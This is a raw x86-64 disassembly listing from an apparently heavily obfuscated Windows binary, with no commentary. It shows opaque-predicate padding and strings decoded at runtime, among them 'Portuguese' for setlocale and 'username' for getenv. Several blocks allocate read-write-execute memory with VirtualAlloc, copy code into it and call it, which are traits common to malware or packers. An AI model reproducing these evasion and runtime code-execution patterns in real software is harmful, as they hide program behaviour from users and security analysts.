jmp 0x140171f2f
lea rbx, [r15 + 5]
cmp rdi, rbx
jne 0x1401720e9
lea edx, [rsi + 0x83]
lea ecx, [rsi + rax]
add ecx, 0x83
and edx, eax
add edx, edx
sub ecx, edx
add cl, 0x6b
mov rdi, r12
jmp 0x140172074
cmp r15, rsi
ja 0x140171aa0
lea rbx, [r15 + 5]
cmp rdi, rbx
jne 0x140172131
lea edx, [rsi + 0x85]
lea ecx, [rsi + rax]
add ecx, 0x85
and edx, eax
add edx, edx
sub ecx, edx
add cl, 0x5d
jmp 0x140172074
lea rbx, [r15 + 4]
cmp rdi, rbx
je 0x140171ec7
lea rbx, [r15 + 2]
cmp rdi, rbx
je 0x140171f26
lea rcx, [r15 + 6]
cmp rdi, rcx
je 0x14017208b
lea ecx, [rsi + 0xe5]
and ecx, eax
add ecx, ecx
add eax, esi
add eax, 0xe5
sub eax, ecx
add al, 0xbd
mov byte [rbp + rsi + 0x80], al
jmp 0x140171f2f
lea rbx, [r15 + 6]
cmp rdi, rbx
jne 0x140171f62
jmp 0x140171ec7
jmp 0x140172150
jmp 0x140172160
jmp 0x140172170
jmp 0x140172180
test dl, dl
je 0x1401721e6
xor ebx, ebx
nop dword [rax + rax]
test cl, cl
je 0x140172190
mov dl, byte [rbp + rbx - 0x20]
mov al, 0xcf
sub al, bl
and al, dl
not dl
lea edi, [rbx + 0x30]
and dil, dl
or al, dil
mov byte [rbp + rbx - 0x20], al
mov rdx, rbx
or rdx, 1
cmp rdx, 0x1f
je 0x1401721e6
nop word [rax + rax]
test cl, cl
je 0x1401721c0
mov r9b, byte [rbp + rdx - 0x20]
mov al, 0xcf
sub al, dl
and al, r9b
not r9b
lea edi, [rdx + 0x30]
and dil, r9b
or al, dil
mov byte [rbp + rdx - 0x20], al
add rbx, 2
jmp 0x140172190
test r8b, r8b
jne 0x14017228d
xor edx, edx
cmp byte [rbp - 2], 0
je 0x140172182
mov eax, dword [0x1406f1038]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1406f103c], 0xa
setl cl
or cl, al
xor ebx, ebx
jmp 0x14017223d
test cl, cl
je 0x140172219
mov r9b, byte [rbp + rdx - 0x20]
mov al, 0xcf
sub al, dl
and al, r9b
not r9b
lea edi, [rdx + 0x30]
and dil, r9b
or al, dil
mov byte [rbp + rdx - 0x20], al
add rbx, 2
test cl, cl
je 0x14017223d
mov al, byte [rbp + rbx - 0x20]
mov dl, 0xcf
sub dl, bl
and dl, al
not al
lea edi, [rbx + 0x30]
and dil, al
or dl, dil
mov byte [rbp + rbx - 0x20], dl
mov rdx, rbx
or rdx, 1
cmp rdx, 0x1f
jne 0x140172219
mov dl, byte [rbp - 2]
mov eax, dword [0x1406f1038]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1406f103c], 0xa
setl cl
or cl, al
jmp 0x140172182
lea rsi, [rbp + 0x58]
mov rcx, rsi
call fcn.1400abec0
lea rdi, [rbp - 0x20]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.14008d7b0
cmp qword [rbp + 0x70], 0x10
jb 0x1401722be
mov rsi, qword [rbp + 0x58]
lea rdi, [rbp + 0x80]
mov rcx, rdi
call fcn.1400abec0
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rdi
mov rdx, rsi
mov r8, rax
call fcn.14008d7b0
mov r8, qword [rbp + 0x70]
cmp r8, 0x10
jb 0x1401722fe
mov rdx, qword [rbp + 0x58]
add r8, 1
lea rcx, [rbp + 0x58]
call fcn.14017a700
cmp dword [0x1406f0a30], 0xa
jl 0x14017231a
mov eax, dword [0x1406f0a34]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14017231a
jmp 0x140172318
movabs rax, 0x6575677574726f50
mov qword [rbp + 0x58], rax
mov word [rbp + 0x60], 0x6573
mov byte [rbp + 0x62], 0
lea rdx, [rbp + 0x58]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
mov dword [rbp - 0x20], 0x72657375
cmp dword [0x1406e048c], 0xa
jl 0x140172361
mov eax, dword [0x1406e0488]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x140172361
jmp 0x14017235f
mov dword [rbp - 0x1c], 0x656d616e
mov byte [rbp - 0x18], 0
lea rsi, [rbp + 0x58]
mov rcx, rsi
call fcn.1400abec0
lea rdi, [rbp - 0x20]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.14008d7b0
mov rdi, qword [rbp + 0x58]
mov rbx, qword [rbp + 0x70]
cmp rbx, 0x10
cmovae rsi, rdi
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rsi, rax
cmp rbx, 0x10
jb 0x1401723c7
add rbx, 1
lea rcx, [rbp + 0x58]
mov rdx, rdi
mov r8, rbx
call fcn.14017a700
cmp dword [0x1406f0a30], 0xa
jl 0x1401723e3
mov eax, dword [0x1406f0a34]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401723e3
jmp 0x1401723e1
lea rcx, [rbp + 0x20]
mov rdx, rsi
call fcn.1401731d0
lea rdi, [0x1406ee9e8]
cmp rax, rdi
je 0x140172471
mov rsi, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140172409
mov rax, qword [rax]
mov rcx, qword [0x1406eea00]
cmp rcx, rsi
jae 0x140172429
lea rcx, [0x1406ee9e8]
mov rdx, rsi
mov r9, rax
call fcn.1400ac710
jmp 0x140172471
mov edx, dword [0x1406f0ab0]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete bl
cmp dword [0x1406f0ab4], 0xa
setl dl
or dl, bl
test dl, dl
je 0x140172447
cmp rcx, 0x10
jb 0x140172458
mov rdi, qword [0x1406ee9e8]
mov qword [0x1406ee9f8], rsi
mov rcx, rdi
mov rdx, rax
mov r8, rsi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rsi], 0
lea rsi, [0x1406ee9e8]
lea rdx, [rbp + 0x80]
mov rcx, rsi
call fcn.140173360
cmp rax, rsi
je 0x140172502
mov rdi, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14017249a
mov rax, qword [rax]
mov rcx, qword [0x1406eea00]
cmp rcx, rdi
jae 0x1401724ba
lea rcx, [0x1406ee9e8]
mov rdx, rdi
mov r9, rax
call fcn.1400ac710
jmp 0x140172502
mov edx, dword [0x1406f0ab0]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete bl
cmp dword [0x1406f0ab4], 0xa
setl dl
or dl, bl
test dl, dl
je 0x1401724d8
cmp rcx, 0x10
jb 0x1401724e9
mov rsi, qword [0x1406ee9e8]
mov qword [0x1406ee9f8], rdi
mov rcx, rsi
mov rdx, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + rdi], 0
cmp dword [0x1406f1908], 0xa
jl 0x14017251e
mov eax, dword [0x1406f190c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14017251e
jmp 0x14017251c
mov eax, dword [0x1406f1910]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406f1914], 0xa
setl al
mov rdx, qword [0x1406f0230]
test rdx, rdx
je 0x14017258a
or al, cl
xor ecx, ecx
lea rbx, [0x140185300]
lea rdi, [0x1406f0230]
cmp rdx, rbx
je 0x14017256b
add ecx, 1
mov rdx, qword [rdi + rcx*8]
test rdx, rdx
jne 0x140172558
jmp 0x14017258a
mov ecx, ecx
lea rdx, [0x1406f0550]
mov rsi, qword [rdx + rcx*8]
test rsi, rsi
je 0x14017258a
test al, al
jne 0x140172621
jmp 0x140172644
mov edx, 0x1f4
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x1401725c0
lea rdx, [0x140185300]
mov r8d, 0x1f4
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [0x1406f0220]
cmp dword [0x1406f1914], 0xa
jl 0x1401725f7
mov ecx, dword [0x1406f1910]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x1401725f7
lea rcx, [0x1406f0550]
mov qword [rcx + rax*8], rsi
mov qword [rcx + rax*8 + 8], rsi
add rax, 2
jmp 0x1401725e8
lea rcx, [0x1406f0230]
lea rdx, [0x140185300]
mov qword [rcx + rax*8], rdx
lea rcx, [0x1406f0550]
mov qword [rcx + rax*8], rsi
add rax, 1
mov qword [0x1406f0220], rax
jmp 0x140172621
lea rcx, [fcn.140123cd0]
call rsi
cmp dword [0x1406f1914], 0xa
jl 0x14017264f
mov eax, dword [0x1406f1910]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14017264f
lea rcx, [fcn.140123cd0]
call rsi
jmp 0x140172621
cmp byte [0x1406eed6b], 0
je 0x140172770
cmp byte [0x1406eed6a], 0
je 0x140172770
cmp dword [0x1406e0b24], 0xa
jl 0x140172685
mov eax, dword [0x1406e0b20]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x140172685
jmp 0x140172683
mov rbx, qword [0x1406eef30]
test rbx, rbx
je 0x1401726e0
xor eax, eax
lea rcx, [0x140179af0]
lea rdx, [0x1406eef30]
cmp rbx, rcx
je 0x1401726b4
add eax, 1
mov rbx, qword [rdx + rax*8]
test rbx, rbx
jne 0x1401726a1
jmp 0x1401726e0
mov eax, eax
lea rcx, [0x1406ef250]
mov rsi, qword [rcx + rax*8]
test rsi, rsi
je 0x1401726e0
mov edx, dword [0x1406e0b28]
mov eax, dword [0x1406e0b2c]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
jmp 0x140172765
mov edx, 0x1f4
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x140172716
lea rdx, [0x140179af0]
mov r8d, 0x1f4
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [0x1406eef28]
lea rax, [0x1406eef30]
lea rcx, [0x140179af0]
mov qword [rax + rdx*8], rcx
mov ebx, dword [0x1406e0b28]
mov eax, dword [0x1406e0b2c]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
cmp eax, 0xa
jl 0x14017274f
test ecx, ecx
je 0x14017274f
jmp 0x14017274d
lea rbx, [0x1406ef250]
mov qword [rbx + rdx*8], rsi
add rdx, 1
mov qword [0x1406eef28], rdx
test ecx, ecx
je 0x140172778
cmp eax, 9
jg 0x14017279b
jmp 0x140172778
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea rcx, [0x14016c810]
call rsi
cmp dword [0x1406e0b2c], 0xa
jl 0x1401727a6
mov eax, dword [0x1406e0b28]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401727a6
lea rcx, [0x14016c810]
call rsi
jmp 0x140172778
mov ecx, 0x1f4
call fcn.140122740
cmp dword [0x1406e0b24], 0xa
jl 0x1401727cc
mov eax, dword [0x1406e0b20]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401727cc
jmp 0x1401727ca
mov rbx, qword [0x1406eef30]
test rbx, rbx
je 0x140172827
xor eax, eax
lea rcx, [0x140179af0]
lea rdx, [0x1406eef30]
cmp rbx, rcx
je 0x1401727fb
add eax, 1
mov rbx, qword [rdx + rax*8]
test rbx, rbx
jne 0x1401727e8
jmp 0x140172827
mov eax, eax
lea rcx, [0x1406ef250]
mov rsi, qword [rcx + rax*8]
test rsi, rsi
je 0x140172827
mov edx, dword [0x1406e0b28]
mov eax, dword [0x1406e0b2c]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
jmp 0x1401728ac
mov edx, 0x1f4
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x14017285d
lea rdx, [0x140179af0]
mov r8d, 0x1f4
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [0x1406eef28]
lea rax, [0x1406eef30]
lea rcx, [0x140179af0]
mov qword [rax + rdx*8], rcx
mov ebx, dword [0x1406e0b28]
mov eax, dword [0x1406e0b2c]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
cmp eax, 0xa
jl 0x140172896
test ecx, ecx
je 0x140172896
jmp 0x140172894
lea rbx, [0x1406ef250]
mov qword [rbx + rdx*8], rsi
add rdx, 1
mov qword [0x1406eef28], rdx
test ecx, ecx
je 0x1401728b5
cmp eax, 9
jg 0x1401728d8
lea rcx, [0x140157360]
call rsi
cmp dword [0x1406e0b2c], 0xa
jl 0x1401728e3
mov eax, dword [0x1406e0b28]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401728e3
lea rcx, [0x140157360]
call rsi
jmp 0x1401728b5
mov ecx, 0x1f4
call fcn.140122740
call fcn.140122e70
mov r8, qword [rbp + 0x98]
cmp r8, 0x10
jb 0x140172916
mov rdx, qword [rbp + 0x80]
add r8, 1
lea rcx, [rbp + 0x80]
call fcn.14017a700
mov edx, dword [0x1406f0a34]
mov ecx, dword [0x1406f0a30]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x140172936
test eax, eax
je 0x140172936
jmp 0x140172934
mov r8, qword [rbp + 0x38]
cmp r8, 0x10
jb 0x140172966
mov rdx, qword [rbp + 0x20]
add r8, 1
lea rcx, [rbp + 0x20]
call fcn.14017a700
mov edx, dword [0x1406f0a34]
mov ecx, dword [0x1406f0a30]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x140172971
test eax, eax
je 0x140172971
jmp 0x14017296f
mov qword [0x1406eea60], 0
cmp qword [0x1406eea68], 0x10
jb 0x14017298f
mov rax, qword [0x1406eea50]
jmp 0x140172996
lea rax, [0x1406eea50]
mov byte [rax], 0
mov qword [0x1406eea80], 0
cmp qword [0x1406eea88], 0x10
jb 0x1401729b7
mov rax, qword [0x1406eea70]
jmp 0x1401729be
lea rax, [0x1406eea70]
mov byte [rax], 0
mov qword [0x1406eeaa0], 0
cmp qword [0x1406eeaa8], 0x10
jb 0x1401729df
mov rax, qword [0x1406eea90]
jmp 0x1401729e6
lea rax, [0x1406eea90]
mov byte [rax], 0
mov qword [0x1406eeac0], 0
cmp qword [0x1406eeac8], 0x10
jb 0x140172a07
mov rax, qword [0x1406eeab0]
jmp 0x140172a0e
lea rax, [0x1406eeab0]
mov byte [rax], 0
mov qword [0x1406eeae0], 0
cmp qword [0x1406eeae8], 0x10
jb 0x140172a2f
mov rax, qword [0x1406eead0]
jmp 0x140172a36
lea rax, [0x1406eead0]
mov byte [rax], 0
mov eax, dword [0x1406dee3c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406dee38], 0xa
setl al
or al, cl
cmp al, 1
jne 0x140172a6f
jmp 0x140172a5d
movabs rcx, 0xff00ff00ff00ff07
xor qword [rbp + 0x40], rcx
test al, al
jne 0x140172a7f
movabs rcx, 0xff00ff00ff00ff07
xor qword [rbp + 0x40], rcx
jmp 0x140172a5d
lea rax, [rbp + 0xf8]
mov rcx, qword [rbp + 0x40]
mov qword [rax], rcx
xor eax, eax
add rsp, 0x138
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret